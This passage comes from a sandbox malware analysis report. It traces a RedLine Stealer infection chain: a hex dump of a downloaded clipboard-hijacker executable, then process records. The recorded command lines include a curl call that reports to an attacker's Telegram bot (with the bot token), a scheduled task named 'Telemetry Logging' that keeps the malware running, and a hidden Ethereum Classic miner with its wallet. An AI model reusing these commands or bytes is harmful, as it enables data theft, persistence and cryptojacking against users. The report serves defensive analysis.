2022-01-15 19:23:43 UTC 8337 IN HTTP/1.1 200 OKDate: Sat, 15 Jan 2022 19:23:43 GMTContent-Type: application/x-msdos-programContent-Length: 12288Connection: closeCF-Ray: 6ce17ae9add1698b-FRAAccept-Ranges: bytesAge: 423324Cache-Control: public, max-age=31536000Content-Disposition: attachment;%20filename=sajfajsuf.exeETag: "67486b272027c5c08c37d2a7dfa3b019"Expires: Sun, 15 Jan 2023 19:23:43 GMTLast-Modified: Mon, 10 Jan 2022 21:47:32 GMTVary: Accept-EncodingCF-Cache-Status: HITAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"x-goog-generation: 1641851252135698x-goog-hash: crc32c=GJN1ng==x-goog-hash: md5=Z0hrJyAnxcCMN9Kn36OwGQ==x-goog-metageneration: 1x-goog-storage-class: STANDARDx-goog-stored-content-encoding: identityx-goog-stored-content-length: 12288X-GUploader-UploadID: ADPycdsfZT-PWWhzXcjawHLR7qjqeLBEyiv1I6GJhzTp_k8PmpN_hKOtZFtlPkNf5B3GNXFVi-YcflDZVHQyNvGC8D8X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

2022-01-15 19:23:43 UTC 8338 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 35 43 32 59 66 45 39 38 31 49 51 4f 74 61 48 25 32 42 42 52 42 4b 33 79 38 50 4a 79 4d 62 62 78 57 6a 4a 71 34 35 37 71 59 55 42 50 25 32 46 32 45 50 47 39 48 42 56 6c 75 77 41 77 64 33 62 6e 4d 58 69 6a 32 44 25 32 46 64 70 47 36 66 50 56 39 6e 38 61 63 33 41 6c 56 76 6d 51 34 7a 66 44 59 6c 78 70 6a 73 46 53 56 37 55 59 59 7a 42 74 31 39 51 35 32 78 38 78 65 57 73 34 69 50 50 76 4d 46 39 73 44 36 41 41 54 37 54 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5C2YfE981IQOtaH%2BBRBK3y8PJyMbbxWjJq457qYUBP%2F2EPG9HBVluwAwd3bnMXij2D%2FdpG6fPV9n8ac3AlVvmQ4zfDYlxpjsFSV7UYYzBt19Q52x8xeWs4iPPvMF9sD6AAT7TQ%3D%3D"}],"group":"cf-nel","max_age":

2022-01-15 19:23:43 UTC 8338 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d5 bc 76 ec 91 dd 18 bf 91 dd 18 bf 91 dd 18 bf 85 b6 19 be 94 dd 18 bf 91 dd 19 bf 9b dd 18 bf 29 a8 11 be 95 dd 18 bf 29 a8 1a be 90 dd 18 bf 52 69 63 68 91 dd 18 bf 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bf 63 d3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 18 00 00 00 16 00 00 00 00 00 00 48 23 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$v))RichPELcaH#0@

2022-01-15 19:23:43 UTC 8339 IN Data Raw: 00 ff 15 38 40 40 00 68 8c 3a 40 00 56 a3 10 40 40 00 ff 15 38 40 40 00 68 98 3a 40 00 56 a3 30 40 40 00 ff 15 38 40 40 00 8b 75 f8 68 a4 3a 40 00 56 a3 20 40 40 00 ff 15 38 40 40 00 68 ac 3a 40 00 56 a3 18 40 40 00 ff 15 38 40 40 00 68 b4 3a 40 00 56 a3 54 40 40 00 ff 15 38 40 40 00 68 c0 3a 40 00 56 ff 15 38 40 40 00 68 cc 3a 40 00 56 ff 15 38 40 40 00 68 e0 3a 40 00 57 a3 58 40 40 00 ff 15 38 40 40 00 8b 7d fc 68 f0 3a 40 00 57 ff 15 38 40 40 00 68 fc 3a 40 00 57 ff 15 38 40 40 00 68 0c 3b 40 00 57 ff 15 38 40 40 00 68 1c 3b 40 00 57 a3 40 40 40 00 ff 15 38 40 40 00 68 2c 3b 40 00 53 a3 2c 40 40 00 ff 15 38 40 40 00 68 40 3b 40 00 56 ff 15 38 40 40 00 8b 75 f4 68 4c 3b 40 00 56 a3 14 40 40 00 ff 15 38 40 40 00 8b 5d f0 68 5c 3b 40 00 53 ff 15 38 40 40 Data Ascii: 8@@h:@V@@8@@h:@V0@@8@@uh:@V @@8@@h:@V@@8@@h:@VT@@8@@h:@V8@@h:@V8@@h:@WX@@8@@}h:@W8@@h:@W8@@h;@W8@@h;@W@@@8@@h,;@S,@@8@@h@;@V8@@uhL;@V@@8@@]h\;@S8@@

2022-01-15 19:23:43 UTC 8341 IN Data Raw: 83 f8 32 74 23 83 f8 33 74 1e 83 f8 34 74 19 83 f8 35 74 14 83 f8 36 74 0f 83 f8 37 74 0a 66 3b c7 74 05 83 f8 39 75 39 51 83 c6 04 56 ff 15 18 40 40 00 85 c0 75 2a 6a 4f 56 ff 15 18 40 40 00 85 c0 75 1d 6a 49 56 ff 15 18 40 40 00 85 c0 75 10 6a 6c 56 ff 15 18 40 40 00 85 c0 75 03 40 eb 02 33 c0 5f 5e c3 56 57 8b f1 6a 44 5f 66 39 3e 0f 85 d5 00 00 00 56ff 15 20 40 40 00 83 f8 22 0f 85 c5 00 00 00 8b ce e8 67 0f 00 00 85 c0 0f 85 b6 00 00 00 0f b7 46 02 83 f8 41 74 73 83 f8 42 74 6e 83 f8 43 74 69 66 3b c7 74 64 83 f8 45 74 5f 83 f8 46 74 5a 83 f8 47 74 55 83 f8 48 74 50 83 f8 4a 74 4b 83 f8 4b 74 46 83 f8 4c 74 41 83 f8 4d 74 3c 83 f8 4e 74 37 83 f8 50 74 32 83 f8 51 74 2d 83 f8 52 74 28 83 f8 53 74 23 83 f8 54 74 1e 83 f8 55 74 19 83 f8 35 74 14 83 f8 Data Ascii: 2t#3t4t5t6t7tf;t9u9QV@@u*jOV@@ujIV@@ujlV@@u@3_^VWjD_f9>V @@"gFAtsBtnCtif;tdEt_FtZGtUHtPJtKKtFLtAMt<Nt7Pt2Qt-Rt(St#TtUt5t

2022-01-15 19:23:43 UTC 8342 IN Data Raw: 88 31 40 00 e9 6b fd ff ff 56 ff 15 20 40 40 00 6a 74 5b 83 f8 2b 75 6e 8b ce e8 7c 0a 00 00 85 c0 75 63 6a 6c 58 66 39 06 75 5b 66 39 5e 02 75 55 6a 63 58 66 39 46 04 75 4c 6a 31 8d 5e 06 58 66 39 03 75 41 6a 4f 53 ff 15 18 40 40 00 85 c0 75 34 6a 49 53 ff 15 18 40 40 00 85 c0 75 27 56 ff 37 ff 15 54 40 40 00 8b d8 85 db 74 18 8b 0f 8b d3 2b 17 d1 fa 52 e8 df 09 00 00 ba d0 31 40 00 e9 ee fc ff ff 8b ce e8 48 f8 ff ff 85 c0 74 27 56 ff 37 ff 15 54 40 40 00 8b d8 85 db 74 18 8b 0f 8b d3 2b 17 d1 fa 52 e8 ad 09 00 00 ba 28 32 40 00 e9 bc fc ff ff 8b ce e8 ea f8 ff ff 85 c0 74 27 56 ff 37 ff 15 54 40 40 00 8b d8 85 db 74 18 8b 0f 8b d3 2b 17 d1 fa 52 e8 7b 09 00 00 ba 80 32 40 00 e9 8a fc ff ff 8b ce e8 70 f9 ff ff 85 c0 74 27 56 ff 37 ff 15 54 40 40 00 8b Data Ascii: 1@kV @@jt[+un|ucjlXf9u[f9^uUjcXf9FuLj1^Xf9uAjOS@@u4jIS@@u'V7T@@t+R1@Ht'V7T@@t+R(2@t'V7T@@t+R{2@pt'V7T@@

2022-01-15 19:23:43 UTC 8343 IN Data Raw: e8 03 f7 ff ff 85 c0 74 27 56 ff 37 ff 15 54 40 40 00 8b d8 85 db 74 18 8b 0f 8b d3 2b 17 d1 fa 52 e8 dc 04 00 00 ba 40 38 40 00 e9 eb f7 ff ff 66 83 3e 58 75 74 56 ff 15 20 40 40 00 83 f8 22 75 68 8b ce e8 f9 04 00 00 85 c0 75 5d 6a 30 56 ff 15 18 40 40 00 85 c0 75 50 6a 4f 56 ff 15 18 40 40 00 85 c0 75 43 6a 49 56 ff 15 18 40 40 00 6a 6c 5b 85 c0 75 36 53 56 ff 15 18 40 40 00 85 c0 75 2a 56 ff 37 ff 15 54 40 40 00 8b d8 85 db 74 18 8b 0f 8b d3 2b 17 d1 fa 52 e8 62 04 00 00 ba a0 38 40 00 e9 71 f7 ff ff 6a 6c 5b 6a 72 58 66 39 06 75 71 56 ff 15 20 40 40 00 83 f8 22 75 65 8b ce e8 7a 04 00 00 85 c0 75 5a 6a 30 56 ff 15 18 40 40 00 85 c0 75 4d 6a 4f 56 ff 15 18 40 40 00 85 c0 75 40 6a 49 56 ff 15 18 40 40 00 85 c0 75 33 53 56 ff 15 18 40 40 00 85 c0 75 27 Data Ascii: t'V7T@@t+R@8@f>XutV @@"uhu]j0V@@uPjOV@@uCjIV@@jl[u6SV@@u*V7T@@t+Rb8@qjl[jrXf9uqV @@"uezuZj0V@@uMjOV@@u@jIV@@u3SV@@u'

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 92 of 103

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

2022-01-15 19:23:43 UTC 8345 IN Data Raw: 33 c9 41 85 c0 0f 45 f1 83 c7 02 81 ff 78 3d 40 00 7c e2 5f 8b c6 5e 5b c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3AEx=@|_^[

2022-01-15 19:23:43 UTC 8346 IN Data Raw: 00 36 00 58 00 50 00 41 00 35 00 78 00 63 00 56 00 41 00 50 00 79 00 54 00 4b 00 6a 00 66 00 65 00 56 00 4d 00 4e 00 6a 00 70 00 53 00 44 00 66 00 32 00 63 00 46 00 35 00 51 00 35 00 32 00 78 00 6e 00 42 00 33 00 73 00 63 00 00 00 44 00 4a 00 73 00 37 00 7a 00 4d 00 79 00 42 00 75 00 55 00 63 00 33 00 79 00 37 00 56 00 57 00 74 00 77 00 66 00 4a 00 4d 00 43 00 77 00 70 00 72 00 59 00 59 00 69 00 44 00 43 00 4a 00 32 00 55 00 46 00 00 00 00 00 61 00 64 00 64 00 72 00 31 00 71 00 39 00 38 00 78 00 67 00 33 00 6e 00 76 00 73 00 38 00 32 00 35 00 63 00 76 00 68 00 78 00 7a 00 76 00 6a 00 64 00 63 00 76 00 73 00 7a 00 65 00 65 00 63 00 6c 00 65 00 66 00 39 00 6e 00 30 00 38 00 78 00 73 00 71 00 38 00 6d 00 76 00 74 00 65 00 75 00 78 00 6d 00 34 00 6a 00 77 00 Data Ascii: 6XPA5xcVAPyTKjfeVMNjpSDf2cF5Q52xnB3scDJs7zMyBuUc3y7VWtwfJMCwprYYiDCJ2UFaddr1q98xg3nvs825cvhxzvjdcvszeeclef9n08xsq8mvteuxm4jw

2022-01-15 19:23:43 UTC 8347 IN Data Raw: 6d 00 4a 00 74 00 77 00 31 00 5a 00 6a 00 36 00 59 00 37 00 62 00 69 00 53 00 6f 00 55 00 6e 00 00 00 00 00 52 00 47 00 39 00 51 00 38 00 44 00 45 00 74 00 31 00 78 00 39 00 32 00 46 00 44 00 51 00 46 00 31 00 33 00 37 00 33 00 45 00 59 00 75 00 42 00 75 00 58 00 34 00 6a 00 67 00 64 00 44 00 47 00 63 00 6f 00 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 00 00 53 00 68 00 6c 00 77 00 61 00 70 00 69 00 2e 00 64 00 6c 00 6c 00 00 00 6e 00 74 00 64 00 6c 00 6c 00 2e 00 64 00 6c 00 6c 00 00 00 53 00 68 00 65 00 6c 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 4f 00 6c 00 65 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 55 00 73 00 65 00 72 00 33 00 32 00 2e 00 64 Data Ascii: mJtw1Zj6Y7biSoUnRG9Q8DEt1x92FDQF1373EYuBuX4jgdDGcokernel32.dllLoadLibraryWShlwapi.dllntdll.dllShell32.dllOle32.dllUser32.d

2022-01-15 19:23:43 UTC 8349 IN Data Raw: 69 64 61 74 61 24 34 00 00 00 00 00 3f 00 00 b6 00 00 00 2e 69 64 61 74 61 24 36 00 00 00 00 00 40 00 00 60 00 00 00 2e 62 73 73 00 00 00 00 d0 3e 00 00 00 00 00 00 00 00 00 00 88 3f 00 00 00 30 00 00 f8 3e 00 00 00 00 00 00 00 00 00 00 aa 3f 00 00 28 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 00 00 10 3f 00 00 22 3f 00 00 38 3f 00 00 46 3f 00 00 54 3f 00 00 66 3f 00 00 72 3f 00 00 7a 3f 00 00 00 00 00 00 96 3f 00 00 00 00 00 00 c8 03 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 b1 02 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 db 05 57 61 69 74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 89 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 61 01 45 78 69 74 50 72 6f 63 65 73 73 00 e8 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 57 Data Ascii: idata$4?.idata$6@`.bss>?0>?(0??"?8?F?T?f?r?z??LoadLibraryWGetProcAddressWaitForSingleObjectCloseHandleaExitProcessCreateProcessW

2022-01-15 19:23:43 UTC 8350 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

TimestampkBytestransferred Direction Data

Start time: 20:23:00

Start date: 15/01/2022

Path: C:\Users\user\Desktop\voFzZ8TzxW.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\voFzZ8TzxW.exe"

Imagebase: 0xff0000

File size: 1062912 bytes

Analysis Process: voFzZ8TzxW.exe PID: 7012 Parent PID: 4936Analysis Process: voFzZ8TzxW.exe PID: 7012 Parent PID: 4936

General

Copyright Joe Security LLC 2022 Page 93 of 103

File ActivitiesFile Activities

MD5 hash: 19F1CF6156DFC1B78F7AEC62FFECB3BE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.325094679.0000000004381000.00000004.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.325582420.0000000004590000.00000004.00000001.sdmp, Author: Joe Security

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:23:20

Start date: 15/01/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: #cmd

Imagebase: 0x580000

File size: 64616 bytes

MD5 hash: 6FD7592411112729BF6B1F2F6C34899F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000000.319396121.0000000000402000.00000040.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.408929530.0000000003801000.00000004.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000000.319716432.0000000000402000.00000040.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000000.319088158.0000000000402000.00000040.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.403607607.0000000002895000.00000004.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.403858210.00000000028D7000.00000004.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.400054308.0000000000402000.00000040.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000000.320080520.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Reputation: high

Show Windows behavior

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: RegAsm.exe PID: 6656 Parent PID: 7012Analysis Process: RegAsm.exe PID: 6656 Parent PID: 7012

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Copyright Joe Security LLC 2022 Page 94 of 103

Registry ActivitiesRegistry Activities Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 20:23:40

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\safas2f.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\AppData\Roaming\safas2f.exe"

Imagebase: 0x7ff7ca6f0000

File size: 8427520 bytes

MD5 hash: BEC308E8E2D80CE6AC72020F906C4E55

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, AviraDetection: 100%, Joe Sandbox MLDetection: 32%, Metadefender, BrowseDetection: 64%, ReversingLabs

Reputation: low

Show Windows behavior

Show Windows behavior

Start time: 20:23:41

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 20:23:41

Analysis Process: safas2f.exe PID: 6096 Parent PID: 6656Analysis Process: safas2f.exe PID: 6096 Parent PID: 6656

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Key Value CreatedKey Value Created

Analysis Process: conhost.exe PID: 7124 Parent PID: 6096Analysis Process: conhost.exe PID: 7124 Parent PID: 6096

General

Analysis Process: whw.exe PID: 6992 Parent PID: 6656Analysis Process: whw.exe PID: 6992 Parent PID: 6656

General

Copyright Joe Security LLC 2022 Page 95 of 103

File ActivitiesFile Activities

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\whw.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Roaming\whw.exe"

Imagebase: 0xe50000

File size: 106496 bytes

MD5 hash: C3B2C5A14962F6255D5DEC89DF0290CA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000000.362155476.0000000000E52000.00000002.00020000.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.478863181.0000000003220000.00000004.00000001.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.476262313.0000000000E52000.00000002.00020000.sdmp, Author: Joe SecurityRule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\whw.exe, Author: Joe Security

Antivirus matches: Detection: 100%, AviraDetection: 100%, Joe Sandbox MLDetection: 42%, Metadefender, BrowseDetection: 89%, ReversingLabs

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:23:42

Start date: 15/01/2022

Path: C:\Windows\System32\curl.exe

Wow64 process (32bit): false

Commandline: curl "https://api.telegram.org/bot5064846500:AAHry1gCN-2xxTc0w6PEpBIOJMW-LhSNOkw/sendMessage?chat_id=-1001485632573&text=%F0%9F%99%88 New worker!%0AGPU: Microsoft Basic Display Adapter%0A(Windows Defender has been turned off)"

Imagebase: 0x7ff7bb9c0000

File size: 424448 bytes

MD5 hash: BDEBD2FC4927DA00EEA263AF9CF8F7ED

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 20:23:42

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\e3dwefw.exe

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: curl.exe PID: 1864 Parent PID: 6096Analysis Process: curl.exe PID: 1864 Parent PID: 6096

General

Analysis Process: e3dwefw.exe PID: 3108 Parent PID: 6656Analysis Process: e3dwefw.exe PID: 3108 Parent PID: 6656

General

Copyright Joe Security LLC 2022 Page 96 of 103

File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Roaming\e3dwefw.exe"

Imagebase: 0xe00000

File size: 12288 bytes

MD5 hash: 67486B272027C5C08C37D2A7DFA3B019

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\e3dwefw.exe, Author: Joe Security

Antivirus matches: Detection: 100%, AviraDetection: 34%, Metadefender, BrowseDetection: 72%, ReversingLabs

Reputation: moderate

Show Windows behavior

Start time: 20:23:42

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 20:23:43

Start date: 15/01/2022

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Imagebase: 0xa20000

File size: 185856 bytes

MD5 hash: 15FF7D8324231381BAD48A052F85DF04

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File CreatedFile Created

File WrittenFile Written

Analysis Process: conhost.exe PID: 3116 Parent PID: 1864Analysis Process: conhost.exe PID: 3116 Parent PID: 1864

General

Analysis Process: schtasks.exe PID: 4620 Parent PID: 3108Analysis Process: schtasks.exe PID: 4620 Parent PID: 3108

General

Copyright Joe Security LLC 2022 Page 97 of 103

Start time: 20:23:43

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 20:23:43

Start date: 15/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\explorer.exe

Imagebase: 0x7ff720ea0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 20:23:44

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Imagebase: 0x200000

File size: 12288 bytes

MD5 hash: 67486B272027C5C08C37D2A7DFA3B019

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, Author: Joe Security

Antivirus matches: Detection: 100%, AviraDetection: 34%, Metadefender, BrowseDetection: 72%, ReversingLabs

Analysis Process: conhost.exe PID: 6008 Parent PID: 4620Analysis Process: conhost.exe PID: 6008 Parent PID: 4620

General

Analysis Process: explorer.exe PID: 6172 Parent PID: 6096Analysis Process: explorer.exe PID: 6172 Parent PID: 6096

General

Analysis Process: oobeldr.exe PID: 6040 Parent PID: 664Analysis Process: oobeldr.exe PID: 6040 Parent PID: 664

General

Analysis Process: bfsvc.exe PID: 6972 Parent PID: 6096Analysis Process: bfsvc.exe PID: 6972 Parent PID: 6096

GeneralCopyright Joe Security LLC 2022 Page 98 of 103

Start time: 20:23:44

Start date: 15/01/2022

Path: C:\Windows\bfsvc.exe

Wow64 process (32bit): false

Commandline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14

Imagebase: 0x7ff6e65c0000

File size: 67072 bytes

MD5 hash: 178BA90AA13F6F834E5C060DC923FB55

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 20:23:45

Start date: 15/01/2022

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Imagebase: 0xa20000

File size: 185856 bytes

MD5 hash: 15FF7D8324231381BAD48A052F85DF04

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:23:45

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:23:48

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

General

Analysis Process: schtasks.exe PID: 2408 Parent PID: 6040Analysis Process: schtasks.exe PID: 2408 Parent PID: 6040

General

Analysis Process: conhost.exe PID: 5068 Parent PID: 2408Analysis Process: conhost.exe PID: 5068 Parent PID: 2408

General

Analysis Process: conhost.exe PID: 5908 Parent PID: 6972Analysis Process: conhost.exe PID: 5908 Parent PID: 6972

General

Copyright Joe Security LLC 2022 Page 99 of 103

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 20:23:54

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe"

Imagebase: 0x7ff78ebd0000

File size: 8427520 bytes

MD5 hash: BEC308E8E2D80CE6AC72020F906C4E55

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, AviraDetection: 100%, Joe Sandbox MLDetection: 32%, Metadefender, BrowseDetection: 64%, ReversingLabs

Start time: 20:23:57

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:23:59

Start date: 15/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\explorer.exe

Imagebase: 0x7ff720ea0000

